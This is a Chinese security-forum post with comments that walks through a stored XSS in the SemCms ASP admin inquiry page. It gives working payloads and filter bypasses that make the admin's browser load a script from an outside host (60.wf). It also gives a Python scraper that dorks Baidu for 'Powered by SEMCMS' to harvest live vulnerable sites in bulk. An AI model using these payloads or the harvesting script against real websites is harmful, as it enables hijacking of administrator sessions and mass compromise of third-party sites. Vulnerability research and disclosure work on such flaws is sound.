用户
搜索

该用户从未签到

i春秋作家

Rank: 7Rank: 7Rank: 7

1

主题

3

帖子

43

魔法币
收听
0
粉丝
0
注册时间
2018-9-22

i春秋签约作者

发表于 2018-9-22 09:23:03 610975
简介
SemCms是一套开源外贸企业网站管理系统,主要用于外贸企业,兼容IE、Firefox 、google、360 等主流浏览器。
SemCms【asp版】使用vbscript语言编写,结合iis运行。
SemCms【php版】使用php语言编写,结合apache,在window,或linux系统下运行。
SemCms采用国际通用utf-8编码编写。
SemCms非常适合在外贸企业,电子商务互联网应用上使用,2009年12月首次发布以来,SemCms依靠出色的用户体验和领先的技术不断扩大外贸场占有率,目前在国内已经成为最受欢迎的英文外贸网站之一

网址如下:
http://www.sem-cms.com/yanshi.html
我们分别对php版本(多语言),asp版,单页面系统进行 白盒测试  
php版本,asp版本以及单页面系统均被笔者审计处漏洞,全部通杀
首先我们对 ,asp最新版本版进行审计
页面首页如下
图片1.png

后台页面如下
图片2.png

我们点击询盘管理->查看询盘  (也就是留言界面)

找到其中一个页面
图片3.png


随意输入内容,抓包测试

首先我们测试title变量

[AppleScript] 纯文本查看 复制代码
title=111111"><img>&content=222222222&Company=&Name=33333333&mail=44444%40qq.com&Phone=5555555&Fax=&Region=66666666666&Home=&yzm=5298&Submit=Submit   


#解释   
其中">  为闭合掉前面的标签
<img> 构造出一个img标签,


通过这样测试,来看是否能插入html标签从而判断是否有XSS漏洞,而非普通的弹窗,要知道弹窗也只是为了测试是否有漏洞而已,而在很多时候 站点都把 alert,confirm,... 等字符过滤了


然后我们回到  后台的 查看询盘 功能页,F12查看下代码,这里我们看到他这里完全没有过滤我们的xss代码
图片4.png

图片5.png


可以看到,img标签已经生成,看样子好像是没有做任何过滤,那么我们直接构造下payload试试
[AppleScript] 纯文本查看 复制代码
<script src="http://60.wf/c"></script>


发送的数据包就为
[AppleScript] 纯文本查看 复制代码
title=1111<script src="http://60.wf/c"></script>11&content=222222&Company=&Name=2233333&mail=344444444%40qq.com&Phone=5555555&Fax=&Region=666666&Home=6677777&yzm=3757&Submit=Submit




我们到后台查看试试



可以看到 首先 对方把空格过滤,  // 被过滤  / 被过滤  虽然把这些过滤了,但是还有可以绕过这些过滤机制去构造payload的
既然空格被过滤,那么我们就尽可能不适用空格, / 被过滤,那么我们就尝试编码绕过


我们输入img标签来构造


[AppleScript] 纯文本查看 复制代码
<img/src='1'onerror=document.body.appendChild(document.createElement("script")).src="60.wf">



然后查看页面返回的内容看看

图片6.png
可以看到,页面内容就成功被执行了, 现在就差如何绕过  //  两个关键字符了

这时候我们可以尝试对其编码绕过

[AppleScript] 纯文本查看 复制代码
<img/src='1'onerror=document.body.appendChild(document.createElement("script")).src="http%3A%2F%2F60.wf%2Fc>


然后输入进去
图片7.png

但是却没有加载我们的站点,是为什么呢?

我们查看对方的源码,通过查看对方的源码得知

图片8.png

我们的 " 号被实体编码了, 既然" 不能用,那么我们用 ‘ 引号试试


[AppleScript] 纯文本查看 复制代码
<img/src='1'onerror=document.body.appendChild(document.createElement('script')).src='http%3A%2F%2F60.wf'>



将我们的代码插入进去
图片9.png
[AppleScript] 纯文本查看 复制代码
title=333"><img/src='1'onerror=document.body.appendChild(document.createElement('script')).src='http%3A%2F%2F60.wf'>&content=444444444&Company=&Name=555555&mail=56666%40qq.com&Phone=18879203781&Fax=&Region=3333&Home=44444444&yzm=4073&Submit=Submit



可以看到,此时已经成功的加载了我们的站点
图片10.png
笔者搭建php环境的时候一直出现问题,所以php审计的话就留到下期把~我们先提取特征码,进行批量爬去 semcms页面

我们只需要在百度上输入

Powered by SEMCMS

图片11.png

那么我们就写个采集器批量采集,挖掘漏洞提交漏洞平台刷分

[AppleScript] 纯文本查看 复制代码
import requests  #导入requests库
import threading  #导入多线程
from queue import Queue  #导入队列
from bs4  import BeautifulSoup  #导入beautiful
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
import random
import re



headers={
     "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
     'Accept-Language' : 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
     'Connection' : 'keep-alive',
     'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
     'X-Forwarded-For':'120.239.169.74'
} #定义头部
 


class Spider(threading.Thread):
  def __init__(self,queue):
    threading.Thread.__init__(self)
    self._queue=queue
  def run(self):
    while not self._queue.empty():
      url=self._queue.get()
      try:
        r=requests.get(url=url,headers=headers,verify=False)
        f=open("baidu.html","a+",encoding="utf-8")
        f.write(r.text)
        f.close()
        soup=BeautifulSoup(r.text,"lxml")
        url_list=soup.select(".t > a")
        for url in url_list:
          real_url=url['href']
          r=requests.get(real_url)
          print(r.url)
          f=open("baidu-0day.txt","a+",encoding="utf-8")
          f.write(r.url+"\n")
          f.close()

      except Exception as e:
        print(e)
def main():
  Threads=[]
  threads_count=30  #设置线程数
  queue=Queue()
  for i in range(1,100,10):   #一共爬去10页,如果是爬去30页,那么就应该把100变为3000
    queue.put("https://www.baidu.com/s?wd=Powered by SEMCMS&pn=%s" % str(i))
  for i in range(threads_count):
    Threads.append(Spider(queue))
  for i in Threads:
    i.start()
  for i in Threads:
    i.join()
if __name__=="__main__":
  main()



这样就批量爬去了带有漏洞的网站
图片12.png


如果各位对我的文章感兴趣的话,可以加入我的交流群

22222.png

评分

参与人数 1魔法币 +10 收起 理由
zzconfig + 10 感谢发布原创作品,i春秋论坛因你更精彩!.

查看全部评分

小厂商,漏洞出了很多,在补天都没人提交了,补天也拒收了
使用道具 举报 回复
群的名字略有违和感
有一天他会突然觉得累了甚至忘了初衷 放弃了梦想也许因为年纪的关系奔波于现实 然后拉黑了网络认识的所有人或者说不用了一个号码换了一个QQ 那么记得他叫流光 这个网络他曾来过。
使用道具 举报 回复
支持一下~
使用道具 举报 回复
发表于 2018-9-25 16:56:31
不错啊。。。
http://www.anonymou5.com
使用道具 举报 回复
发表于 2018-10-1 05:07:16
支持一波。。。
路漫漫,
使用道具 举报 回复
发表于 2018-10-9 19:57:02
提示: 作者被禁止或删除 内容自动屏蔽
使用道具 举报 回复
发新帖
您需要登录后才可以回帖 登录 | 立即注册